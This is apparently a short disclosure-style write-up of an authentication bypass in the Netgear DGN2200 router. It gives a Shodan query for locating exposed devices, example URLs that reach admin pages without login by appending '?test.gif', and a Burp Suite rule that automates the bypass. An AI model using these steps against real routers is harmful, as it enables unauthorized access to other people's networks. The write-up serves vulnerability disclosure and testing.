Authentication Bypass - Netgear DGN2200 N300 Wireless ADSL2+ Modem Router

Introduction

Authentication bypass vulnerability exist in Netgear DGN2200 N300 Wireless ADSL2+ Modem Router version v1.

Device Identification

Identify vulnerable devices from the results of following Shodan search query:

netgear dgn2200

Shodan Query

Authentication Bypass

View the web pages of the router with out any credentials by appending ?test.gif to every URL as given below.

http://deviceIP:port/RST_status.htm?test.gif

http://deviceIP:port/BAS_pppoa.htm?test.gif

http://deviceIP:port/WAN_wan.htm?test.gif

Authentication Bypass

Automation Using Burp Suite Proxy Match and Replace

In Burp Suite Proxy > Options tab, add a Match and Replace rule to replace " HTTP/1.1" with "?test.gif HTTP1.1"
Burp Suite Match and Replace

From now on, every request in browser will be automatically appended with ?test.gif.
Burp Suite History


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